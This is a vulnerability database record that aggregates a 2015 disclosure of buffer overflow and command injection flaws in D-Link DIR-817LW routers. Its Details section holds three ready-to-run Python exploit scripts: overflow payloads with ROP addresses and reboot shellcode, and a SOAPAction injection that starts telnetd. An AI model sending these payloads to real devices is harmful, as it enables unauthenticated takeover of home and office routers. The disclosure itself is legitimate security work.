ID

VAR-201507-0645


TITLE

Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities

Trust: 0.6

sources: CNVD: CNVD-2015-05077

DESCRIPTION

D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Reboot shellcode in there buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #s0 # uclibc system address buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 # buf+="\x2A\xAC\xD5\xB4" # points to rop3 #buf+="1"*17 # exit payload buf+="E"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian buf+="Y"*120 # ROP gadget 2 that loads into $t9 buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct # Working buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="AAAA" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 buf+="\x2A\xAC\xD5\xB4" # points to rop3 buf+="C"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell buf+="B"*28+"\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Command injection ---------------------------------------------------------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose and internal buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)

Trust: 2.25

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011 // PACKETSTORM: 134369

IOT TAXONOMY

category:['IoT', 'Network device']sub_category: -

Trust: 1.2

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

AFFECTED PRODUCTS

vendor:dlinkmodel:ethernet broadband routerscope: - version: -

Trust: 1.2

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

CVSS

SEVERITY

CVSSV2

CVSSV3

CNVD: CNVD-2015-05077
value: HIGH

Trust: 0.6

CNVD: CNVD-2015-05076
value: HIGH

Trust: 0.6

CNVD: CNVD-2015-05077
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

CNVD: CNVD-2015-05076
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

THREAT TYPE

remote

Trust: 1.2

sources: CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

TYPE

buffer overflow

Trust: 1.2

sources: CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

PATCH

title:Patch for multiple D-Link product UPnP buffer overflow vulnerabilitiesurl:https://www.cnvd.org.cn/patchInfo/show/61829

Trust: 0.6

title:Patch for multiple D-Link product HTTP buffer overflow vulnerabilitiesurl:https://www.cnvd.org.cn/patchInfo/show/61827

Trust: 0.6

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076

EXTERNAL IDS

db:BIDid:76012

Trust: 1.2

db:BIDid:76014

Trust: 1.2

db:CNVDid:CNVD-2015-05077

Trust: 0.6

db:CNVDid:CNVD-2015-05076

Trust: 0.6

db:CNNVDid:CNNVD-201508-010

Trust: 0.6

db:CNNVDid:CNNVD-201508-011

Trust: 0.6

db:DLINKid:SAP10061

Trust: 0.1

db:DLINKid:SAP10060

Trust: 0.1

db:PACKETSTORMid:134369

Trust: 0.1

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // PACKETSTORM: 134369 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

REFERENCES

url:http://www.securityfocus.com/bid/76012

Trust: 1.2

url:http://www.securityfocus.com/bid/76014

Trust: 1.2

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060,

Trust: 0.1

url:http://securityadvisories.dlink.com/security/publication.aspx?name=sap10061

Trust: 0.1

url:http://purenetworks.com/hnap1/getdevicesettings/xx"

Trust: 0.1

sources: CNVD: CNVD-2015-05077 // CNVD: CNVD-2015-05076 // PACKETSTORM: 134369 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

CREDITS

Samuel Huntley

Trust: 1.3

sources: PACKETSTORM: 134369 // CNNVD: CNNVD-201508-010 // CNNVD: CNNVD-201508-011

SOURCES

db:CNVDid:CNVD-2015-05077
db:CNVDid:CNVD-2015-05076
db:PACKETSTORMid:134369
db:CNNVDid:CNNVD-201508-010
db:CNNVDid:CNNVD-201508-011

LAST UPDATE DATE

2024-09-15T23:13:08.107000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2015-05077date:2015-08-03T00:00:00
db:CNVDid:CNVD-2015-05076date:2015-08-03T00:00:00
db:CNNVDid:CNNVD-201508-010date:2015-08-04T00:00:00
db:CNNVDid:CNNVD-201508-011date:2015-08-04T00:00:00

SOURCES RELEASE DATE

db:CNVDid:CNVD-2015-05077date:2015-08-03T00:00:00
db:CNVDid:CNVD-2015-05076date:2015-08-03T00:00:00
db:PACKETSTORMid:134369date:2015-11-16T17:33:09
db:CNNVDid:CNNVD-201508-010date:2015-07-23T00:00:00
db:CNNVDid:CNNVD-201508-011date:2015-07-17T00:00:00